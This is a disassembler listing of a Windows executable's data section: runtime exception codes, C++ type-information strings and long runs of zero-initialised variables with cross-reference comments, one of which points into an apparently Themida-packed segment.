dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar
; sub_423638+11o ...
dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D4C0 dd 3 ; DATA XREF: ___:0042354Fr
; sub_425C06+C8r
dword_43D4C4 dd 7 ; DATA XREF: ___:00423555r
; sub_425C06+CDr
dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r
; sub_425D33+4r
dword_43D4CC dd 8Ch ; DATA XREF: ___:00423579r
; ___:00423586w ...
dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o
; sub_41FE2A:loc_41FEE7o
dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo
; sub_423DD1+28r
off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
; sub_423DD1+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h
dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
dd 0FFh, 427940h
off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo
; sub_42413E+55o
align 10h
dd offset dword_4DC020
dd 101h
dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o
dd 1000h, 0
dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o
; sub_420CE6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o
; sub_420CE6:loc_420D04o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo
dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o
dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r
; sub_4218B4+46r
align 8
dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo
dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42600E+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4 dd offset off_427CEC ; DATA XREF: ___:00427EC4o
; ___:00427FB0o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43DAFC dd offset off_427CEC ; DATA XREF: ___:off_427D78o
; ___:00427DB8o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43DB1C dd offset off_427CEC ; DATA XREF: ___:off_427DC0o
; ___:00427E04o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43DB3C dd offset off_427CEC ; DATA XREF: ___:off_427E0Co
; ___:00427E50o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43DB60 dd offset off_427CEC ; DATA XREF: ___:off_427E58o
; ___:00427E94o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_424F1C
align 10h
dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o
; ___:0040146Eo ...
align 10h
dword_43DB90 dd 0 ; DATA XREF: ___:004015B0o
; sub_401ACD+AECo ...
dd 5 dup(0)
dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r
; sub_415C40+60r
dd 2D9h dup(0)
dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr
; sub_401ACD+5E61r ...
dd 7Fh dup(0)
dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w
; sub_40B4F5+40w ...
dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w
; sub_40B4F5+46w ...
dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w
; sub_40B4F5+3Ar ...
dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r
; sub_40B6D6+2Aw ...
dword_43E924 dd 0 ; DATA XREF: ___:004015FFw
; ___:00401677w ...
byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5CD7r ...
align 4
dd 1B89h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043492Co
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:004385C0o
dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_43902Co
dd 0A2EFh dup(0)
db 0
byte_480001 db 3 dup(0) ; DATA XREF: Themida_:loc_56F77Fo
dd 4016h dup(0)
dword_49005C dd 937Eh dup(0) ; DATA XREF: ___:off_432948o
db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43165Co
dd 0FBh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438E98o
dd 5932h dup(0)
dword_4CB710 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B3BA+13o ...
dword_4CB714 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401ACD:loc_404494r ...
dword_4CB718 dd 0 ; DATA XREF: ___:loc_4016FFo
dword_4CB71C dd 20h dup(0) ; DATA XREF: ___:004016B6o
; ___:00401750o ...
dword_4CB79C dd 10h dup(0) ; DATA XREF: ___:004016CCo
dword_4CB7DC dd 24h dup(0) ; DATA XREF: ___:004016E3o
dword_4CB86C dd 0 ; DATA XREF: ___:004016D7w
; ___:00401767w ...
dword_4CB870 dd 0 ; DATA XREF: ___:004016F6w
align 10h
byte_4CB880 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB884 dd 0 ; DATA XREF: ___:00401704w
; ___:0040171Br ...
dword_4CB888 dd 0 ; DATA XREF: ___:004016BBw
; sub_401ACD+8A2r
word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo
; ___:0040AFA9o ...
align 10h
dword_4CB890 dd 0 ; DATA XREF: sub_409909+4A7w
; sub_409909+4EBr
dword_4CB894 dd 0 ; DATA XREF: sub_409909+65w
; sub_419C09+166r
dword_4CB898 dd 0 ; DATA XREF: sub_409909+80Bw
; sub_409909+880r ...
dword_4CB89C dd 0 ; DATA XREF: sub_409909+9D8w
; sub_409909+A43r ...
dword_4CB8A0 dd 0 ; DATA XREF: sub_409909+98Aw
; sub_409909+A13r ...
dword_4CB8A4 dd 0 ; DATA XREF: sub_409909+48Dw
; sub_409909+4DBr
dword_4CB8A8 dd 0 ; DATA XREF: sub_409909+213w
; sub_409909+234r
dword_4CB8AC dd 0 ; DATA XREF: sub_409909+9CBw
; sub_409909+A3Br ...
dword_4CB8B0 dd 0 ; DATA XREF: sub_409909+372w
; sub_409909+3C7r ...
dword_4CB8B4 dd 0 ; DATA XREF: sub_409909+40Fw
; sub_41AF8F+11Er
dword_4CB8B8 dd 0 ; DATA XREF: sub_409909+37Fw
; sub_409909+3CFr ...
dword_4CB8BC dd 0 ; DATA XREF: sub_409909+3C0w
; sub_4191DB+ADr
dword_4CB8C0 dd 0 ; DATA XREF: sub_409909+55Aw
; sub_40FAD6+115r ...
dword_4CB8C4 dd 0 ; DATA XREF: sub_409909+72w
; sub_409909+D2r ...
dword_4CB8C8 dd 0 ; DATA XREF: sub_409909+97Dw
; sub_409909+A06r ...
dword_4CB8CC dd 0 ; DATA XREF: sub_409909+3A6w
; sub_409909+3E7r ...
dword_4CB8D0 dd 0 ; DATA XREF: sub_409909+859w
; sub_409909+8ACr ...
dword_4CB8D4 dd 0 ; DATA XREF: sub_409909+2A5w
; sub_409909+2F0r
dword_4CB8D8 dd 0 ; DATA XREF: sub_409909+84Cw
; sub_409909+8A4r ...
dword_4CB8DC dd 0 ; DATA XREF: sub_409909+B3w
dword_4CB8E0 dd 0 ; DATA XREF: sub_409909+866w
; sub_409909+8B4r ...
dword_4CB8E4 dd 0 ; DATA XREF: sub_409909+54Dw
; sub_409909+6D0r ...
dword_4CB8E8 dd 0 ; DATA XREF: sub_409909+58w
; sub_409909+CAr ...
dword_4CB8EC dd 0 ; DATA XREF: sub_409909+934w
dword_4CB8F0 dd 0 ; DATA XREF: sub_401ACD:loc_403ECBr
; sub_409909+A95w ...
dword_4CB8F4 dd 0 ; DATA XREF: sub_409909+A6w
; sub_409909+F2r
dword_4CB8F8 dd 0 ; DATA XREF: sub_409909+480w
; sub_409909+4D3r
dword_4CB8FC dd 0 ; DATA XREF: sub_409909+5F6w
; sub_40C267+20r
dword_4CB900 dd 0 ; DATA XREF: sub_409909+9BEw
; sub_409909+A33r
dword_4CB904 dd 0 ; DATA XREF: sub_409909+5E9w
; sub_409909+754r ...
dword_4CB908 dd 0 ; DATA XREF: sub_409909+A0Cw
dword_4CB90C dd 0 ; DATA XREF: sub_409909+B50w
; sub_40DC41+9Ar
dword_4CB910 dd 0 ; DATA XREF: sub_409909+7FEw
; sub_409909+86Dr ...
dword_4CB914 dd 0 ; DATA XREF: sub_409909+1B3w
; sub_40B5B5+3Do ...
dword_4CB918 dd 0 ; DATA XREF: sub_409909+997w
; sub_409909+A1Br ...
dword_4CB91C dd 0 ; DATA XREF: sub_409909+38Cw
; sub_409909+3D7r ...
dword_4CB920 dd 0 ; DATA XREF: sub_409909+399w
; sub_409909+3DFr ...
dword_4CB924 dd 0 ; DATA XREF: sub_409909+C85w
; sub_409909+C8Cr
dword_4CB928 dd 0 ; DATA XREF: sub_409909+6ACw
; ___:00411290r
dword_4CB92C dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB930 dd 0 ; DATA XREF: sub_409909+4B4w
dword_4CB934 dd 0 ; DATA XREF: sub_409909+9E5w
; sub_409909+A4Br ...
dword_4CB938 dd 0 ; DATA XREF: sub_401000+51r
; sub_409909+2B2w ...
dword_4CB93C dd 0 ; DATA XREF: sub_409909+7Fw
; sub_409909+DAr ...
dword_4CB940 dd 0 ; DATA XREF: sub_401ACD+5840r
; sub_401ACD+781Er ...
dword_4CB944 dd 0 ; DATA XREF: ___:004012ADr
; sub_401ACD+5037r ...
dword_4CB948 dd 0 ; DATA XREF: sub_409909+825w
; sub_409909+890r ...
dword_4CB94C dd 0 ; DATA XREF: sub_409909+9A4w
; sub_409909+A23r
dword_4CB950 dd 0 ; DATA XREF: sub_409909+C0Ew
; sub_409909+C3Fr
dword_4CB954 dd 0 ; DATA XREF: sub_409909+2CCw
; sub_418A2E+47r
dword_4CB958 dd 0 ; DATA XREF: sub_409909+22Dw
dword_4CB95C dd 0 ; DATA XREF: sub_409909+91Aw
; sub_409909+92Er
dword_4CB960 dd 0 ; DATA XREF: sub_409909+C28w
dword_4CB964 dd 0 ; DATA XREF: sub_409909+2D9w
; sub_418A2E+4Fr
dword_4CB968 dd 0 ; DATA XREF: sub_409909+574w
; sub_409909+6E8r ...
dword_4CB96C dd 0 ; DATA XREF: sub_409909+83Fw
; sub_409909+873r
dword_4CB970 dd 0 ; DATA XREF: sub_409909+220w
; sub_409909+23Cr
dword_4CB974 dd 0 ; DATA XREF: sub_409909+172w
; sub_409909+1C2r
dword_4CB978 dd 0 ; DATA XREF: sub_401ACD+1DCEr
; sub_401ACD+59F9r ...
dword_4CB97C dd 0 ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+50C1r ...
dword_4CB980 dd 0 ; DATA XREF: sub_409909+567w
; sub_409909+6DCr ...
dword_4CB984 dd 0 ; DATA XREF: sub_409909+8DBw
; sub_409909:loc_40A202w ...
dword_4CB988 dd 0 ; DATA XREF: sub_401000+26r
; sub_409909+28Bw ...
dword_4CB98C dd 0 ; DATA XREF: sub_401ACD+77AFr
; sub_409909+69Fw ...
dword_4CB990 dd 0 ; DATA XREF: sub_409909+32Dw
; sub_409909+341r ...
dword_4CB994 dd 0 ; DATA XREF: sub_409909+3B3w
; sub_409909+3EFr ...
dword_4CB998 dd 0 ; DATA XREF: sub_409909+C01w
; sub_409909+C37r
dword_4CB99C dd 0 ; DATA XREF: sub_409909+818w
; sub_409909+888r ...
dword_4CB9A0 dd 0 ; DATA XREF: sub_409909+206w
; sub_409909+227r
dword_4CB9A4 dd 0 ; DATA XREF: sub_409909+18Cw
; sub_409909+1D2r ...
dword_4CB9A8 dd 0 ; DATA XREF: sub_409909+832w
; sub_409909+898r ...
dword_4CB9AC dd 0 ; DATA XREF: sub_409909+624w
; sub_409909+774r
dword_4CB9B0 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_409909+2BFw ...
dword_4CB9B4 dd 0 ; DATA XREF: sub_409909+66Bw
; sub_409909+79Cr ...
dword_4CB9B8 dd 0 ; DATA XREF: sub_409909+320w
; sub_409909+334r ...
dword_4CB9BC dd 0 ; DATA XREF: sub_409909+644w
; sub_409909+784r ...
dword_4CB9C0 dd 0 ; DATA XREF: sub_409909+44Cw
; sub_409909+4AEr
dword_4CB9C4 dd 0 ; DATA XREF: sub_409909+199w
; sub_409909+1DAr ...
dword_4CB9C8 dd 0 ; DATA XREF: sub_409909+365w
; sub_409909+3BAr ...
dword_4CB9CC dd 0 ; DATA XREF: sub_409909+AA2w
dword_4CB9D0 dd 0 ; DATA XREF: sub_409909+5DCw
; sub_409909+748r ...
dword_4CB9D4 dd 0 ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5073r ...
dword_4CB9D8 dd 0 ; DATA XREF: sub_409909+4Bw
; sub_409909+C2r ...
dword_4CB9DC dd 0 ; DATA XREF: sub_409909+473w
; sub_409909+4CBr
dword_4CB9E0 dd 0 ; DATA XREF: sub_409909+165w
; sub_409909+1BAr ...
dword_4CB9E4 dd 0 ; DATA XREF: sub_409909+9FFw
; sub_409909+A5Br ...
dword_4CB9E8 dd 0 ; DATA XREF: sub_409909+685w
; sub_409909+7ACr ...
dword_4CB9EC dd 0 ; DATA XREF: sub_401955+D1r
; sub_401ACD+50D6r ...
dword_4CB9F0 dd 0 ; DATA XREF: sub_409909+C1Bw
; sub_409909+C47r
dword_4CB9F4 dd 0 ; DATA XREF: sub_409909+3Ew
; sub_409909+BAr ...
dword_4CB9F8 dd 0 ; DATA XREF: sub_401000+45r
; sub_409909+298w ...
dword_4CB9FC dd 0 ; DATA XREF: sub_409909+651w
; sub_409909+78Cr ...
dword_4CBA00 dd 0 ; DATA XREF: sub_409909+637w
; sub_409909+77Cr ...
dword_4CBA04 dd 0 ; DATA XREF: sub_409909+C92w
dword_4CBA08 dd 0 ; DATA XREF: sub_409909+879w
; ___:00416C7Cr ...
dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w
dword_4CBA10 dd 0 ; DATA XREF: sub_409909+BE7w
; sub_409909+C22r
dword_4CBA14 dd 0 ; DATA XREF: sub_401ACD+2F9Br
; sub_401ACD+5EB8r ...
dword_4CBA18 dd 0 ; DATA XREF: sub_409909+459w
; sub_409909+4BBr
dword_4CBA1C dd 0 ; DATA XREF: sub_409909+49Aw
; sub_409909+4E3r
dword_4CBA20 dd 0 ; DATA XREF: sub_409909+466w
; sub_409909+4C3r
dword_4CBA24 dd 0 ; DATA XREF: sub_401955+89r
; sub_401ACD+50F3r ...
dword_4CBA28 dd 0 ; DATA XREF: sub_409909+1A6w
; sub_409909+1E2r ...
dword_4CBA2C dd 0 ; DATA XREF: sub_409909+9F2w
; sub_409909+A53r ...
dword_4CBA30 dd 0 ; DATA XREF: sub_409909+158w
; sub_409909+1ADr ...
dword_4CBA34 dd 0 ; DATA XREF: sub_409909+8Cw
; sub_409909+E2r ...
dword_4CBA38 dd 0 ; DATA XREF: sub_409909+610w
; sub_409909+764r ...
dword_4CBA3C dd 0 ; DATA XREF: sub_409909+B43w
; sub_409909+B5Fr
dword_4CBA40 dd 0 ; DATA XREF: sub_409909+33Aw
; sub_419B9E+55r
dword_4CBA44 dd 0 ; DATA XREF: sub_409909+27Ew
; sub_409909+2D3r ...
dword_4CBA48 dd 0 ; DATA XREF: sub_409909+BAAw
dword_4CBA4C dd 0 ; DATA XREF: sub_409909+AECw
; sub_40A928+CEr
dword_4CBA50 dd 0 ; DATA XREF: sub_409909+ADFw
; sub_409909+AE6r ...
dword_4CBA54 dd 0 ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5052r ...
dword_4CBA58 dd 0 ; DATA XREF: sub_401ACD+5044r
; sub_401ACD+77D6r ...
dword_4CBA5C dd 0 ; DATA XREF: sub_409909+BF4w
; sub_409909+C2Fr
dword_4CBA60 dd 0 ; DATA XREF: sub_401ACD+1DF4r
; sub_401ACD+5A1Fr ...
dword_4CBA64 dd 0 ; DATA XREF: sub_409909+9B1w
; sub_409909+A2Br ...
dword_4CBA68 dd 0 ; DATA XREF: sub_409909+65Ew
; sub_409909+794r ...
dword_4CBA6C dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CBA70 dd 0 ; DATA XREF: sub_409909+59Bw
; sub_409909+70Cr ...
dword_4CBA74 dd 0 ; DATA XREF: sub_409909+B36w
; sub_409909+B57r ...
dword_4CBA78 dd 0 ; DATA XREF: sub_409909+540w
; sub_409909+6C4r ...
dword_4CBA7C dd 0 ; DATA XREF: sub_409909+B29w
; sub_409909+B4Ar
dword_4CBA80 dd 0 ; DATA XREF: ___:00401273r
; sub_409909+31w ...
dword_4CBA84 dd 0 ; DATA XREF: sub_409909+17Fw
; sub_409909+1CAr
dd 0
dword_4CBA8C dd 0 ; DATA XREF: sub_409909+927w
; sub_409909+93Br
dword_4CBA90 dd 0 ; DATA XREF: sub_409909+99w
; sub_409909+EAr ...
dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w
; sub_409909+12Bw ...
dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w
; sub_40A5C5+1Cr
dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w
; sub_409909:loc_409B5Ew ...
dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w
; sub_40A5C5+50r
dword_4CBAA4 dd 0 ; DATA XREF: ___:0040156Ar
; sub_401ACD+4468r ...
dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew
; sub_40A5C5+84r
dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw
; sub_40A5C5:loc_40A675r
dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw
; sub_40A5C5+B8r
dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw
; sub_40A5C5:loc_40A6A9r
dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w
; sub_40A5C5+ECr
dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w
; sub_409909+8EFw ...
dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw
; sub_40A5C5+120r
dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r
; sub_409909:loc_40A25Dw ...
dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw
; sub_40A5C5+154r
dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r
; sub_409909:loc_40A379w ...
dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw
; sub_40A5C5+188r
dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w
; sub_40A5C5:loc_40A779r
dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w
; sub_40A5C5+1BCr
dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw
; sub_40A5C5:loc_40A7ADr
dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw
; sub_40A5C5+1F0r
dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w
; sub_40A5C5:loc_40A7E1r
dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w
; sub_40A5C5+224r
dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw
; sub_40A5C5:loc_40A815r
dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw
; sub_40A5C5+258r
dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w
; sub_40A5C5:loc_40A849r
dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw
; sub_40A5C5+28Cr
dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w
; sub_40A5C5:loc_40A87Dr
dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w
; sub_40A5C5+2C0r
dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o
byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar
; sub_40B2B3+98w
align 10h
dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r
; sub_40C2AF+92w ...
dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr
; sub_40C3E8+2F1w ...
dd 7FEh dup(0)
dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o
; sub_40C3E8+13Bo ...
dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w
; sub_40BD91+348o
dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew
; sub_40BD91+35Ar
dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw
dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w
; sub_40BD91:loc_40C0A6r
dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o
; sub_40BD91+302o
dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw
; sub_40BD91+30Fw
dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r
align 8
dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w
; sub_40BD91+101o
dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o
dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o
dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w
; sub_40BD91+113r
dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w
dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw
; sub_40BD91+D4r
dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao
; sub_40BD91+BAo
dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw
dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w
; sub_40BD91+C7w
dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr
align 10h
dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w
; sub_40BD91+225o
dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o
dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co
dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw
; sub_40BD91+237r
dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw
dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w
; sub_40BD91+1F8r
dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo
; sub_40BD91+1DEo
dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w
dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw
; sub_40BD91+1EBw
dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr
align 8
dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w
; sub_40BD91+470o
dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o
dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw
; sub_40BD91+423r
align 10h
dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w
; sub_40BD91+482r
dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w
dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w
dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w
dd 0
dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r
dd 0
dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er
; sub_40B9DD+32r
dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r
; sub_40B9DD+26r
dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do
dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o
dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8 dd 0 ; DATA XREF: ___:0040EEF0r
dd 0
dd 0
dword_4CE704 dd 0 ; DATA XREF: ___:0040EEC3r
dword_4CE708 dd 0 ; DATA XREF: ___:0040EEA5r
; ___:0040EF0Er
align 10h
dword_4CE710 dd 0 ; DATA XREF: sub_40BD91+2AEr
align 8
dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr
dword_4CE71C dd 0 ; DATA XREF: ___:0040F9E9w
; ___:0040FA10r ...
dd 3 dup(0)
dword_4CE72C dd 0 ; DATA XREF: ___:00411306r
dd 0
dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w
; sub_412EDD+9o
dd 10Ah dup(0)
dword_4CEB60 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F25o
; sub_401ACD:loc_404A7Bo
dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w
; sub_401ACD+2F1Dr ...
dd 11Ch dup(0)
dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do
; sub_415DD8o ...
dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o
; sub_415DD8+Eo ...
dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo
